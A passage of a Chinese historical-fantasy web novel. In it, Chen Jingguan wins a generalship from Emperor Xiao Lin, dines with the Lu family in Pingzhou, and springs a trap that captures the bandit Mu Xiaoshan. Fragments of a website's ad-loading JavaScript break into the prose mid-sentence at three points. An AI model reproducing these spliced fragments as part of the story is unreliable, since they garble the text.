“我出发前,广梁就没有粮食了,如今的粮,也是我们花银子买来的。我拿来做筹码的粮食,你动不了,我也动不了。” 陈京观的话没有让萧霖换了颜色,倒是侍卫们开始左顾右盼。 “你应该也收到了密信,毕竟崇州与廊州毗邻,穆氏兄弟拦得了廊州,就拦得了崇州。此刻谈判的是你我二人,但是筹码,在第三人手上。我于他们,可没有粮食金贵。” 萧霖没有作声,饶有兴趣的看着陈京观。 “那你如今还有什么筹码?” “平远军。” 陈京观微微侧过头,避开了卡在自己脖子上的刀,萧霖也顺势示意侍卫退下。顷刻间,大殿之间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又只剩下他二人。 “廊州的粮你若想抢便能抢得到,可兵,”陈京观顿了一下,“您再也招不齐八年前那支军队了。” 陈京观说这话时,语气不似之前平淡,但是这话也引得萧霖迟疑了一下,便也没察觉到他语气的变化。 “所以您猜得到我的用意,”陈京观稍稍停顿,“您不会杀我。” 陈京观转头看了眼萧霖,萧霖没有说话,示意他继续。 “崇宁掌着朝政,也掌着您。若此时出现我这把刀,您的处境,会不会好过些?” 陈京观精准拿捏到了萧霖的痛处。 其实他刚才问内侍时本以为内侍碍于皇威也会答萧霖,可那内侍宁愿打哈哈也不愿说出萧霖的名字,可见萧霖在这崇明殿的威望。 若是一个少年天子被架空或许能说他年幼无知,可一个不惑之年的人空坐在这高位上却发不出一句话,试想论谁如此这般也不会好受。 “我进宫的这一路,您有无数机会杀我,可是您放我进来了,甚至配着刀,我不担心您杀我,您也不担心我杀您?” 萧霖不置可否,但是眼神中对陈京观的兴趣越来越明显。 “您若不信我有这搅局的能力,不妨就拿这次运粮试一试,看我能不能从穆氏兄弟手里把粮给您送进来。” 陈京观的话信誓旦旦,而萧霖自始至终都是一副表情,到了此时,他缓缓侧身换了个姿势,然后问道:“你有何打算?” “单凭现在的我,就是讨贼也没有名份,所以我此次来找您谈的合作,是保留我的私兵平远军,毕竟他们只听我的调遣,同时将雍州封作南魏练兵场。而想要剿匪师出有名,皇上您还要给我个说得过去的官。” 陈京观说完,萧霖笑着拍手叫好。 “那我好奇了,你想要什么?” 萧霖的语气轻佻,带着一丝嘲弄,但是陈京观不想理会其中的意思。 “我于天下百姓一样,不在乎高堂之上是神是鬼,我只希望天下百姓都能有饭吃。皇上您不救的人我来救,您做不到的,我来做。” 陈京观说完,崇明殿的大殿里鸦雀无声。大门上系着的门帘漏了个缝,十一月末的穿堂风时不时攻击着萧霖的膝盖,他拉了拉自己的披肩,却总觉得遮不住那寒潮。 片刻,萧霖也不再挣扎,而是缓缓起身朝陈京观的方向走了几步。 “你甘愿做我的棋子?” 陈京观没有回答,而萧霖也不没有强求,只是后来,他明白了自己其实也是少年手中的一枚棋子。 但这都是后话了。 “行,那我封你做定远将军,其余的也都依你,但是你食人之俸,就要忠人之事。别的不说,但这从此以后,你只是我南魏朝堂一介武将,你可以保留少将军的名号,但是见了我,该行的礼数,皆要有。” 陈京观冷笑一声,此时眼前的人,与自己刚刚所说的极度贪权,倒是极为贴合。 “其余的都可以,但是我陈京观,遵父命,跪天跪地跪父母。” 陈京观说这话的时候,语气没有任何犹豫和迟疑,萧霖也没有再与他争。 “可以。不过,陈京观,”萧霖顿了一下,“你父母为何给你取这样的名字?” 陈京观没想到他会这样问,一时间愣了片刻。 “我小时候父母想进阙州城做生意,但是没有官令进不来,便给我取了这个名字。京观,南魏京城,只可观,不可入。” 此话一出,萧霖便意识到了其中的讽刺之意。 “官令,你是说,我不该设官令?” 萧霖说完,转过头看着陈京观,那目光里比先前更多了两分危险。 “天子政令,还会有错吗?” 陈京观没有再理会萧霖,微微摆手作出告退的样子,走到门口时,突然停住。 “只是您到底在怕什么?” 城门前死的人越多,你便越怕,可你似敞非敞的大门,究竟还要留下多少人的性命, 这是陈京观心里的后半句,只是他最终还是没说出口,也没有等着萧霖答复自己便出了大门。 等到陈京观走远,萧霖才抬开帘子看着出宫道上越来越小的身影。门口的内侍看他出来了,赶忙给他披上大氅,却被萧霖推脱开了。 “今年的雪,下得真大。” 就在萧霖和陈京观说话的间隙,阙州城今年的第一场雪盖住了整个崇明殿,目光所到之处,一片银装素裹。 “等你来了,就知道我怕什么了。” 7. 相逢敬安(一) 陈京观前脚出了崇明殿,后脚,他封定远将军的诏书就传遍了整个南魏。 其实许多人都等着陈京观领兵来闹,或者萧霖杖杀逆贼。而如今的局面,于百姓是好的,于刚刚和陈京观擦肩的人而言,却不算称心如意。 只是陈京观对此毫不在乎。他此番的目的达到了,以后与他们针锋相对的日子还多,他眼下要考虑的,是怎么把粮运进阙州。 路过阙州城门,他远远就看见了夏衍,微微弯了腰向他示意,而那小孩毕恭毕敬地对着陈京观行了参拜礼。 不远处,一个拿着拐杖的老人在距离守城士兵不足百米的地方来回踱步,看陈京观骑在马上走过来,便有意无意地说了一句。 “天寒地冻,再吃不饱饭,这个年不好过。” 陈京观没有回复老人的话,但是等老人走了,还是忍不住回头看了看。 他本打算先回雍州再出发去敬安山,但回去的路比来的时候要难走,刚下了雪的雍州道湿滑,越往北走,天就越寒,他们不能再在路上耽搁。 而且在这样恶劣的天气连夜回去,对将士们也是个考验。 如今已经十二月,若是回了雍州,就是再快,等着粮送到阙州也到一月末了。 “平海,你说今年的年我们俩都不回去,平芜是不是要闹了?” 平海轻笑了一声,半晌,说:“师父在,他不敢。倒是咱们趁着年关打过去,敬安山那刚好没什么戒备。” 陈京观没再说什么,他知道平海自然是理解了自己的意思。 两人出城的时候,门口的平远军已经接到了平海递出去的消息,提前一步迎了上来。 其实陈京观在来之前还担心自己受封回来,将士们势必是不满的,可真见了面,欢迎他的依旧是那一句句的“少将军”。 或许对于平远军来说,自陈京观领着他们趟过了洪水,又为百姓东奔西走地寻粮,他们便只认少将军了。 其余的,以前与他们无关,现在亦是如此。 “少将军,我们接下来去哪?” 为首的将领替兄弟们问出了这句话,每个人都眼巴巴等着。 “今年的年回不去了,咱们直接去敬安山,会一会鼎鼎大名的穆氏兄弟。” 大家听了陈京观的话,便准备上马出发。平远军多是家里没什么挂念的,大家呆在一起,还更有些年味。 “这一次要是胜了,咱们都进阙州城过年!” 陈京观脸上带着笑,一边说着一边将怀里的信给了队伍里的信差。 “快马加鞭,一封亲手交给陆小爷,另外一封交给董将军。” 信差微微点头,先大部队一步从崇州道上走了。 阙州到敬安山四百里,中间隔了廊州城,而如果从崇州道走,可以省下一百里的路程,只是如今的崇州还有守兵在,陈京观刚受封,大张旗鼓领着私兵去崇州,倒像是去耀武扬威。 陈京观遣了信差,又让平海拿出地图。 那穆氏兄弟占的敬安山,处在南北两国的交接,北接凌州,南邻廊州,更重要的是,南魏最大的运河从敬安山起,引了泯川江的水直达阙州,让阙州全城百姓的粮走水路,是唯一能在年关前到达阙州的方式。 所以打开穆氏兄弟的封锁,至关重要。 至于廊州的粮,悉数藏在廊州最大的布坊里,而那布坊,实际上是陆家的产业。 “师兄,敬安山上山只有一条路,为保险起见,我们要等着援兵过来。” 陈京观看着平海画出来的那条线,又往平海落笔处看了看,发现那正是陆家的昌安营。 “我们走昌安营,在他们发现我们之前,先抓了他们的人。” 平海没有说话,陈京观知道他在担心什么。 “虽然我现在是南魏的将军,可是我送去的信上表明了要与昌安军合理剿匪的祈愿,如今再去,也师出有名。” 他们都经历过父辈被疑叛逃的事,在和他国军队交往中,更多了几分谨慎。 定了作战路线,大家也都充满了士气,一百人的队伍,从廊州的小路直去往北梁平州。 而几天后的平州昌安营中。 “哥,我的好哥哥,这次敬安山剿匪就让我领兵吧。” 陆家小公子陆栖野跟在哥哥陆栖川的屁股后面,身材高大的他套在昌安营的盔甲里倒多了几分成熟。 比起陈京观身上那种做什么都淡淡的感觉,陆栖野身上满是十七岁时的意气风发。 不过就凭陆家在北梁甚至整个大陆的名号,他陆栖野只要不谋权篡位,定是能保他一生繁荣。 “你在昌安营待了多久?三年?我能让你将他们带出去,可那些卖命二十余载的叔叔伯伯们能听你的?” 陆栖川脱下刚刚训练完湿透了里衣,用水桶里的水浇在了自己身上。虽是北梁十一月的冬,可他依旧习惯于用这样的方式让自己保持紧张。 “那还不是您和父亲不让我去,我明明十二岁时就要去的,哥你也是十二岁去的!” 陆栖野还是跟在陆栖川背后絮叨个不停,但是他倒是有眼色,看着哥哥洗完,便顺手递上了帕子。 就是还没等陆栖野再张嘴,两兄弟的母亲方荔就从后堂走了出来。 “栖川,别学你父亲,这个天断不能再直接用冷水洗了。还有你,”方荔替大儿子披上衣服,转身就在小儿子头上敲了一下,“你兄长每日练兵任务繁重,你怎么不直接找你爹?你也知道你爹能将你打出昌安营?” 陆栖野悻悻地笑了,一边挠着头一边换了人唠叨。 “娘,就一个小小敬安山匪患,哪里需要哥去。再说了,您不信我,还不信京观?” 方荔听到这个名字,手里折帕子的动作顿了一下。 当时陈京观跑到平州来募兵,在昌安营门口一待就是半个月,每日也不做别的,就盯着那些刚刚出了现役的士兵,跟着他们在茶铺聊天,帮他们去家里做活。 方荔第一次去军营的时候就看到了他,他坐在茶摊点了一份茶点,虽说身上的衣服是粗布制的,可是他饮食时的动作,断不像是生在穷苦家的。 后来董辉的期役到了,他在军营里对陆栖野多有照顾,陆栖野便将他一路送到了门口,而陈京观便找借口撞上了出来陆栖野。 也算是不打不相识,陆栖野本就听了母亲的描述,觉得此人形色可疑,如今正中他下怀。 他装作是同董辉一同退役的,一路和陈京观跟着董辉回了家。 董辉的儿子几年前都定口匪患的时候被箭射下了船没了,按照军户制的规定,早就离开军营十几年的董辉又替儿子进了军营,而他对陆栖野的照顾,也是因为那时儿子与陆栖野相交甚好。 如今董辉家中,只剩他一个人了,陈京观进去看着他家主厅里摆着二十三个排位,从北梁建国,历四代,他董家便为北梁付出了二十三条命。 那也是陆栖野第一次去董辉家中,看着眼前的莹莹烛光,他看不清董辉脸上的表情,但是他能看到陈京观脸上染着一层说不清楚的寥落。 那一晚,董辉讲了自己跟着陆晁从东亭益州打到汝州,再连取朔州和遥州,最后把军旗插在了东亭都城济州的皇宫门前的故事。 他是董家活得最长的军士了,可最后,还是逃不过白发人送黑发人的悲哀。 董辉讲的时候,陈京观就在一旁默默听着,房间里的油灯许是很久没用有些发潮,陆栖野看到了陈京观被熏出来的眼泪。 其实陆栖野少时就听父亲和当时刚继位的北魏皇帝谈论过军户制的弊端,可是那一场辩论终究是无疾而终。 北梁以军事发家,兵,就是北梁的命脉,若没了兵,北梁皇帝元衡很难保北梁不会同失去了世家风骨的南魏般迅速衰落。 但是当他看到那些排位时,才第一次深切感受到军户制带给人的压迫。 那是悬在血脉里的利剑,侥幸活过自己的期役,却要为自己的后辈继续担惊受怕,一辈子都活在战争的阴影之下。 等到董辉讲完自己过去的半生,陈京观便开始了他的叙述。 他隐去了自己作为陈景豫的部分,但是没有隐去与战争和京观有关的部分。 他成了本就叫做陈京观的孩子,父亲先是跟着陈频去西芥打仗,后受命随使团出使,却被南魏皇帝疑心叛国,最后惨死在了遏佐的刀下,他如今来北梁,正是看到了军户制下有许多如同 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的董辉的人。 他要建一个私军,他要为父亲报仇,而董辉们,要自由。 他不知道陆栖野和董辉信了多少,但是他所讲的,句句属实。 那一夜董辉家里又有了人气,三个人喝了许多酒,直到第二日昌安营查人,发现陆栖野不在,陆栖川才派自己的副将桑柘去寻。 其实那夜的陆栖野也说了许多,可多为了调节气氛,讲些自己的糗事,但陈京观时不时轻笑一声,又毫无防备的继续喝酒,让他觉得此人不坏。 之后,陆栖野领了夜不归宿的十鞭,又舔着脸去求哥哥查一查叫陈京观的人。 十日后,陆栖野又在军营外遇到了陈京观,或者说他等到了陈京观。 他改不了军户制,但是他想尽力让那些为陆家,为北梁流过血的人有个不再惶恐的晚年。 于是他让陈京观立誓,说平远军,只属于他陈京观,无论以后他与南魏皇帝有任何协议,都不能卖了平远军。 那日后,昌安营的造册中便开始陆陆续续少了些过了期役的人的姓名,而陈京观再来平州,也只是为了和陆栖野喝一壶平州的桂花酿。 以上的事情,发生陆栖野刚入昌安营的时候,三年时间,便是平远军一万人浩浩汤汤又将来到平州。 “那小子是比你稳重,可他如今是南魏的将军,你不能再与他像过去般亲近了。” 方荔没有看陆栖野,倒是和陆栖川交换了眼神。 虽说如今南北相安无事,可是萧霖的为人,大家都清楚。而元衡就是对陆家再好,也不能放任着陆家和南魏的将军私交过密。 “我自有分寸。当时我让董叔给京观递信,说穆家兄弟不仅骚扰廊州也骚扰凌州,想必,他定然会让作出联合剿匪的决定,况且,要想趁其不备上敬安山,必须要从昌安营入境。” 陆栖野话音刚落,门口的小厮就将陈京观的信递了过来,上面的内容和陆栖野说得大差不差,另外就是让陆栖野备上好的桂花酿,等着打了胜仗回来庆功。 “娘您看,如今他的将军印,也是有些效用的吧。” 陆栖野拿着信,满脸的得意洋洋,可是方荔脸上还是乌云密布。 “你想去?可以,让桑柘做主将,你只能配合他。“ 方荔和陆栖野说话的片刻,陆栖川去偏房换了身干净的衣服,而桑柘闻言刚想要说什么,却被陆栖野打断了。 “可以,桑大哥的实力我当然佩服,他营中的威信也是仅次于哥的存在,只是,”陆栖野又巴巴地凑到哥哥面前,“若我这一战胜了,能不能让我做千户?那些和我同期入营的,有些都做了校尉了。” 陆栖川没说话,信步朝正厅走去。 “可以,但是需是你自己的功劳。” 声音从背后传来,陆栖野立刻正了正衣冠,父亲陆晁刚和亲兵说完话,此刻也进了府。 “那是自然,我必定生擒穆氏三兄弟!” 陆晁还没说话,倒是跟在他后面的年轻人笑出了声。 “晏离鸿!你不信我?” 那个被陆栖野叫做晏离鸿的年轻人从陆晁身后走过来,在陆家满门武将的氛围下,他一身灰黑色长袍,整整齐齐带着发冠,倒有些格格不入。 “我的好小爷,我哪儿能不信你,我不过是在想,有了陈京观,你还能有几分自己的功劳?” 陆栖野也不接他的挑拨,白了他一眼跟着哥哥进了正厅。晏离鸿脸上还是带着笑,拍了拍刚刚骑马扬在身上的灰,服侍陆晁褪去了盔甲。 “离鸿,你想去吗?” 陆晁一边换衣服,一边问身边的人。 “此次就让栖野自己去吧,他缺一次证明自己的机会,我,不需要这样的机会。” 晏离鸿脸上的表情自进门就没变过,若说陈京观的笑是和煦的阳光,那么晏离鸿就带了些清冷的月色。 “你智谋算得上万里挑一,以后终究是要入朝廷的,倒是比那两个小子更光明些。” 晏离鸿没有再说话,让陆晁先进正厅用午膳,自己去卧房换身衣服。 看着陆晁的背影,晏离鸿脸上的笑也渐渐淡了。 “可那朝廷,都是会吃人的存在。” 8. 相逢敬安(二) 又七日,刚陈京观到平州城门时,董辉带领着平远军自雍州也来到了平州,只是人数,比之前多了许多。 “这些人是……” 陈京观看着后面有些陌生的面孔,一边和平芜打闹,一边问着董辉。 “大多是雍州的屯兵,自皇上派了人去修雍州演武场,每日便有许多人在昌用门口,说是要参加平远军。” 陈京观没多说什么,让大部队在平州城外安营扎寨等着行动,自己和董辉进了城。 “底细都查过了?” “查了,当时来的人更多,我们逐个筛查完留下了这些,其中有些,是与你父亲一同打过仗的。” 闻言,陈京观转头又看了看背后的人群。 “这一次,我要让他们赢得正大光明。” 自陈京观与陆栖野搭上线,平远军的规模就在悄无声息地膨胀,陈京观也很少再出现在平州城里,北梁的事务大多都由董辉一人负责。 而此时过来,也是陈京观第一次在年关前来到平州。 相比于南魏的都城阙州而言,平州不过是北梁一个边境小镇,可北梁拿下东亭后开垦农田,极力发展农业,现如今的平州城看起来,竟然比缺穿少食的阙州还热闹些。 “少将军,第一次在北方过年吧。我们这更冷一些,也更偏向面食。有机会,我给您做碗扁食。” 董辉看着街上忙忙碌碌的人群,虽说军户的日子苦,可是他却从未后悔过出生在北梁。 陈京观笑而不语。那晚和董辉谈心时,他隐去了他的童年,也隐去了他母亲其实极爱北方的菜肴。 他父亲少时跟着师父苏扬游历于大陆,在北梁待了许久,故而做得一手很好吃的北方菜,也是因此,搏得了母亲的欢心。 “好啊,等着粮上了船,咱们就回家。” 陈京观笑着应了董辉的话,可还没等董辉回复,两人的后背突然被人拍了一下。 “好久不见!” 陆栖野从二人背后窜出来,笑眼盈盈的看着眼前的人,他手里提着父亲嘱咐他买来的烧鸡,他还顺路去喜庆坊定了一只烤全羊。 “早上就听边境巡卫说有一支部队在朝着平州来,我算了算日子,应该就是平远军,不过没想到你们一起到了。” 陆栖野一边说,一边招呼两人往陆府走去。 “多亏了你递的消息,不然如今就该拜托陆小爷打了敬安山,然后让董将军押着粮去阙州赎我了。” 陈京观任由陆栖野架着,顺便三句两句打趣着他。 这三年来,他将除了陈景豫这个名字以外的一切都告诉了陆栖野,他信任他,又或者说,是因为他觉得活得如此灿烂的人,断然没有那些阴沟里才能生出的坏心。 “小爷你又被将军差使着来跑腿了?听那些兄弟们说,就你一个人还是个百户?” 董辉和两人都熟了,不过碍于陈京观还是自己的顶头上司,所以不敢在他面前开玩笑,但是对于陆栖野,那是北梁出了名的好脾气。 “谁说不是呢!”陆栖野一脸哀怨地撇了撇嘴,但是很快又换上了开心的模样,“不过父亲应了我,若我这次剿匪有功,升我做千户!” 同是少年人,可是陆栖野和陈京观是截然不同的两种人。 有时董辉和陈京观待在一起时总觉得眼前的人心里还藏着什么,他虽然也一直笑着,但是那笑就像是挂在脸上的面具,轻易不会摘掉,以防别人看到他真实的样子。 三个人就一路边笑边闹朝陆府走去。 这也是陈京观第一次来陆栖野家,往常都是在茶摊或者董辉家中碰头,第一次来到这平州最豪华的宅子,陈京观心里还是有些艳羡的。 他离家时已经十二岁了,陈府,原本也是阙州城里数一数二漂亮的地方,尤其母亲在院门口栽的杏花和梨花,每逢花期,便是一地风雅。 “董叔,我将烧鸡送去厨房,你先带着京观去偏殿,我父亲还没下训,哥哥和母亲估计也在盯着库房看慰问将士的东西准备好了没有,家里……对了,离鸿在,他平日不出门,和鬼影一样荡来荡去的,你们要是见着一个穿黑灰色长袍的,那就是晏离鸿。” 陆栖野话音刚落,三人就听到几声轻笑,陈京观寻着笑声来源看去,看一个生得很好的人立在陆家的庭廊里,穿着黑灰色,格外衬得他白得毫无血色。 “怎么好好一个活人就成鬼影了,”晏离鸿掩着嘴笑,迈着步子朝陈京观走过来,“你就是,陈京观?在下陆府养子晏离鸿。” 陈京观过去八年,已经很少见到有人将礼数和姿态做得这般得体,他平日多跟马夫、车夫们厮混在一起,乐得无忧无虑,如今突然见到有人如此谦谦,倒不知道该如何回应他了。 “对,我是陈京观。我倒是之前没听过栖野提起过你,养子?” 晏离鸿也没在意陈京观有些敌意的反问,引着两人来了偏殿,给他们倒了茶,然后坐在下位说道。 “小时候家里遭了灾,一家人都没了,还有个妹妹也跑散了。我本想着顺着大路走,可最后没了力气,就晕在路边了。陆将军巡防路过,就把我救了。因为在雪天冻了太久,落下一身毛病,也就很少出门了。至于栖野,”晏离鸿提到陆栖野,无奈地摇了摇头,“我比他大两岁,便成了他二哥,他自然是有些怨气。” 陈京观闻言,应和着晏离鸿,也笑了出来。 “也倒是他的秉性。不过晏兄此次,会与我们一同去敬安山吗?” 陈京观一边笑着,一边用眼神盯着晏离鸿。不知为何,眼前的人,甚是熟悉,但记忆里的那个人更高大,也更外向。 “陆伯父说是让我去的,但是这不是栖野立功的好机会吗,我自然是不能去抢他的功。” “你就这么确定你比我厉害?虽说你读书强,可这是剿匪,不是选状元!” 刚从厨房出来的陆栖野恰好听到了晏离鸿的这番话,便不服气地怼了回去。 “你放心,城外的兄弟我让昌安营的厨房做了他们的吃食,他们不方便入城,但是饭我们要管的。等下父亲回来我们一同用了饭,就可以准备攻山的计划了。” 陆栖野对着陈京观的时候,便又换了一副面孔。 说来,他因为性格好,交了许多朋友,就连澄州那几个纨绔也能和他称兄道弟,但是他心里称得上挚友的,还是陈京观。 或许是他与自己太不相同,以至于陆栖野待在陈京观身边的时候总觉得是在过另一种人生,一种逃离了陆家小爷名号的人生。 “晏公子分明是在与你玩笑,你倒当真了。” 陆栖野撇了撇嘴,但还是不服输的给了晏离鸿一个白眼。 “家里少有这么热闹的时候啊。” 偏殿里的几个人听到了正厅里的声音,纷纷从里面走了出来,只见陆晁裹着一身风雪进了屋。 “今年南边水灾,北边风雪就更大,过些时日重新给兄弟们的屋舍换一层顶,这个冬天难捱啊。” 陆朝一边拍着身上的雪,一边吩咐跟在自己身后的陆栖川,而后者应了一句,也由侍从帮着换掉了被雪打湿的外衣。 “将军。” 董辉最先起身,毕恭毕敬给陆晁行了礼,他跟了陆晁二十年,有些东西刻在了骨子里。 “你现在是陈少将军的人,与我,二十多年老友罢了。” 陆晁走过来拍了拍董辉的肩膀,然后看着从椅子上起身的陈京观。 “久闻大名,少将军。今日还没到年,咱们就先凑合吃两口,等你们回来,我们再聚。” 陈京观学着董辉的样子刚要行礼,却被陆栖野拦了下来。 “那是北梁军礼,你不用行的。” 陈京观了然的点点头,随后给陆晁举了一躬。 “多谢陆将军肯让栖野与我这等人相交,也多谢您默许了栖野对我的帮助,”陈京观说着,又将身子转向一同进来的方荔,“更多谢夫人为我提供的粮仓。陈京观有今日,全是陆府的帮衬。” “你知道廊州粮仓是我的产业?” 方荔接过陆晁递来的汤婆子,一边笑着回应夫君,一边抬眼看了一眼陈京观。 “不仅如此,昌用也是您的吧。” 这次倒是轮到陆栖野吃惊了,他知道母亲手下的商行众多,却不知竟然已经将手伸到了雍州。 “不错,你师父那边应该收到粮了,雍州也能过个好年。” 陈京观没有再多说,抬手向方荔行礼,倒是陆栖野一直缠着母亲,让她说说她到底有多少产业。 一行人跟着收拾好的陆晁进了正厅, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桌上的菜陆陆续续也开始上了,吃到一半,陆栖野订的烤全羊也让人抬了上来。 “你平日来多是夏季,这次我特意点了喜庆坊的羊肉。我北梁的羊可是一绝,不过最好的还是马场的,等有机会了,我带你去。你现在先尝尝这个,这可是我从小最喜欢吃的。” 说着,陆栖野就伸手想要去够桌上的刀,却被母亲打了手。 “要有规矩。你父亲还没动呢。“ 陆栖野悻悻地收回手,一个劲儿的搓着刚被母亲打过的地方。 “你十七了,是该懂些规矩,你哥哥在你这么大的时候已经去澄州受封将军了。” 陆晁叹了口气,拿着分餐的刀开始切桌上烤全羊。 “哥哥沉稳,离鸿机敏,就我一事无成。” 陆栖野坐在餐桌旁小声絮叨,陈京观看得出身旁这个每日都嬉皮笑脸的少年有多少未曾说出的话。 那晚每当自己和董辉情绪低落,他总能恰逢时宜的调节气氛,可有关他自己的,却很少提及。 他与自己不同,他的笑是真的,可心里的落寞也是。生为陆家二子,上有父亲建军功,再有兄长袭爵位,到他这里,只剩下在父兄臂膀下乘阴凉。 可他也是陆家的儿子。 “谁说的,若没你,我可进不了阙州。” 陈京观的语气很平淡,但是足以让陆栖野停下手上的动作,他继续乐呵呵地帮父亲分羊肉,然后和父亲说了些今日在营中看到的,听到的。 平州十二月天寒。但是一壶暖茶,一碟羊肉,再配上一碗面,暖了胃也暖了心。 陈京观平时话就不多,在陆栖野身边时更是可以安静下来,他吃着碗里的面,热气蒸的他眼睛发酸,耳边是陆栖野的喋喋不休,时不时还掺杂几句晏离鸿和陆栖川的调侃。 往年冬日,他总是与师父一起去江婶家过年,路上提上腊肉和米酒,一个单身汉带着一个孤儿,去失去家中顶梁柱的寡妇家,五口人,倒也是乐得自在。 不知道师父可还好,当时该问问平芜的。 陈京观心里想着,但是脸上丝毫没有任何表现,他依旧笑着听大家讲话,能插上两句的时候就应和一下。 “报!城外擒到贼寇的一个小队,为首的是穆氏老三穆晓山。” 一家人刚把饭吃完,陆府的门就被哨兵闯了进来,来的人虽穿着北梁的服饰,可是陈京观认识他,那是平远军的人。 “陆将军,您有讯问室吗?可否借我一用?” 陈京观接过侍从递来的帕子擦了擦嘴,然后恭恭敬敬地站在陆晁面前。 “你安排的?” 陈京观笑而不语,倒是陆晁眼里闪过一丝看不懂的情绪。 “有,栖野带你去。不过我没想到,”陆晁轻笑了一声,“少将军果然好谋算。在大军压境之前提前埋伏,在午间用膳时引蛇出洞,聪明。” “将军谬赞,我只是不想打无谓的仗,死无辜的人。” 陈京观说这话的时候厅间的人还没走,听闻他的话,众人都是一激灵。 “将军不要误会,将军所做的,皆是听命所为,军人服从命令,无可厚非。可我不是,这只是我用我的手段达成我的目的罢了。更何况,穆氏三兄弟何故才上了敬安山,大家都清楚,阙州差点欠了他们一条命,我不能再把这三条命拿去。” 陈京观说罢,挨个向坐在桌旁的陆晁、方荔和陆栖川行礼,然后示意陆栖川为自己带路。 “可是不沾血的刀,终究开不了刃,杀不了仇敌。” 陈京观在前面走,陆晁的话突然响起,他身子一怔,有些恍惚,但很快长呼一口气,笑着说到。 “我没有将军的本事,且我自有我的坚持。” 说罢,陈京观迈步走出了陆府。 看着眼前的人在拐角处没了踪影,陆晁倒有些发愣。其余人都散了,只有方荔还陪着他坐在正厅。 “他一眼就看出了我是廊州粮仓的话事人,甚至知道了我是昌用的东家,我为了瞒着他,还特意让迷津在后厅不要出来。可还是骗不了他。” 方荔知道陆晁在想什么,自己与他同床共枕快三十载,倒是很少看到眼前的人又如此情态。 “他想兵不血刃上朝堂,可怕就怕,他的对手是刽子手。” 9. 相逢敬安(三) 陆栖野从陆府出来便一言不发,陈京观和董辉就跟在他身后。 董辉时不时看看陈京观,他的脸上依旧云淡风轻,好像刚才与陆晁辩驳的不是他。 他很早就知道陈京观的计划,那封密函里写清楚了要让他大张旗鼓的来平州,最好沿路再闹出些声势,他没有明白陈京观的用意,但是他依旧照做了,他以为这一切都是陈京观与陆栖野商量好的。 直到刚刚小兵来报,他看到桌上的几人都变了颜色,他才知道陈京观瞒了所有人。 他只是来借昌安营的地方,并没有要拉昌安营入伙的意思。 “你想问什么就问。” 陈京观看着走在自己前面的陆栖野,他步子很快,故意不让自己看到他脸上的情绪。 “没什么好问的,你刚与父亲说的我都听懂了。” 陆栖野也没好气。他不是为自己到手的军功不翼而飞而气,他只是觉得就凭自己对陈京观的信任,竟然还足以让他告诉自己真实的计划。 “瞒着你,是因为不想拉陆家下水。” 陈京观没有在意陆栖野对自己的冷言冷语,他有自己的谋算,可这谋算确实伤害了一心为自己的陆小爷。 “平远军如今不再是北梁人,可你们还是。我此番去阙州,真正感受到了少时父亲的为难。萧霖不信任任何人,同时也可以舍弃任何人。他能应了我的话,只因为他一封诏书就可以收编我,同时不费一兵一卒就能换来粮食,对他来说毫无损失。可是若此时昌安军与我立即结盟剿匪,那我于他,就成了养虎为患。” 陆栖野还是没有回应陈京观,但他的步子渐渐慢下来了,手上不停摆弄着的菩提也停了下来。 “我给你的密函中写到我要借昌安营一用,上山剿匪。对吗?这是字面意思,只借军营不借兵。” 陆栖野回忆起自己刚收到陈京观的信,那信上确实是如此说明。 可是谁能想到信那头的人在与自己玩文字游戏,而他好不容易说服了哥哥准自己领兵,如今还没打呢,被自己人摆了一道。 “我未让平远军入城,也是出于这个考虑。如果北梁皇上怪罪下来,你也大可推脱是我带着私兵来昌安营门前给你们一个下马威,把罪责推到我身上就好。其实单是借昌安营,这已经是我权衡到最后迫不得已才作出的决定。” 陈京观的语气始终没有变过,他逐字逐句向眼前的人解释自己的策略。 陆栖野也自然知道他向来如此,可是他还是气,他明白了他的权谋,可他依旧气陈京观没有为自己的隐瞒有任何表示。 “你没有什么其他的想说吗?” 陆栖野停下脚步,立在昌安营审讯司门前,里面的人刚要出来招呼,却感觉到了这异常的氛围,进也不是退也不是。 “你觉得我骗了你?” 陈京观叹了一口气,又挂上了他惯常的笑容。 “难道不是?我信你是兄弟,将你敬作如哥哥一般的兄长,你受封将军第一时间给我送信,我以为你是信任我的,可你和我打哑谜?难不成我能去给穆氏兄弟报信吗?” 陆栖野一股脑将憋了一路的话全说了出来,手里紧紧攥着菩提串子,免得自己忍不住上去给眼前的人一拳。 “是我不对,我该在信上与你说明,下次不会了。” 陈京观看着眼前炸毛的小爷,一时间觉得回到了刚认识他时他故意给自己发脾气的时候,他知道陆栖野习惯了用推开的方式去测试身边的人会不会离开。 “现在不气了?你的人都等着你呢,去审吧。” 陆栖野还没有反应过来,站在审讯司门口的问官就迎了上来。 “我审?” “嗯,其实什么也不用问,你就耗着时间就行,我们等山上那两个人自己下来。” 陆栖野了然的点点头,跟着问官进了那扇半掩着的门中。 “少将军这是?” 董辉顺着陈京观的目光看过去,又盯着陈京观的脸,而后者回过神,轻轻叹了一口气。 “我不能夺了他立功的机会,更何况这是他的地盘,自然该由他问询。”陈京观顿了一下,“平海呢?他这个事情办的漂亮。” “平统领在给席英包扎,刚刚是那小姑娘冲上去擒到了穆晓山。“ 陈京观的动作一怔,示意董辉带自己去城外的营地。 平海领着的小队在陈京观入城的时候就从昌安营外围抄小路赶到了凌州边界,他们一路上走的不快,足以将平远军要上山剿匪的消息送出去,而等他们刚到凌州界,就遇到了穆晓山的埋伏。 只是这一切都在陈京观的计划内。 平海的先锋队在正面遇伏后,另一队人马绕到了后山,等到穆晓山的包围圈缩小,他们便从山上下来与平海互为策应。 那帮土匪多是之前在廊州种地务农的百姓,有一身力气却没有计谋,眼看自己被包围了便慌了阵脚,想要掩护穆晓山冲出重围。 而就在穆晓山飞身上马准备走时,被席英用剑柄猛击胸口,翻身就摔在了地上。还没等他反应,席英的剑就调了方向,刀尖就悬在他的喉咙上。 本来平海见她年纪小,身体又才恢复,想让她跟在大部队里等着总攻就可以了,可席英自请与他比试一番。 那场比武席英自然是输了,但是平海发现这女孩的动作和反应都是不可多得的,自己与她相比,胜在了力气和经验罢了,便让她做了擒拿穆晓山的刺客。 如今看来,平海的决策是对的。 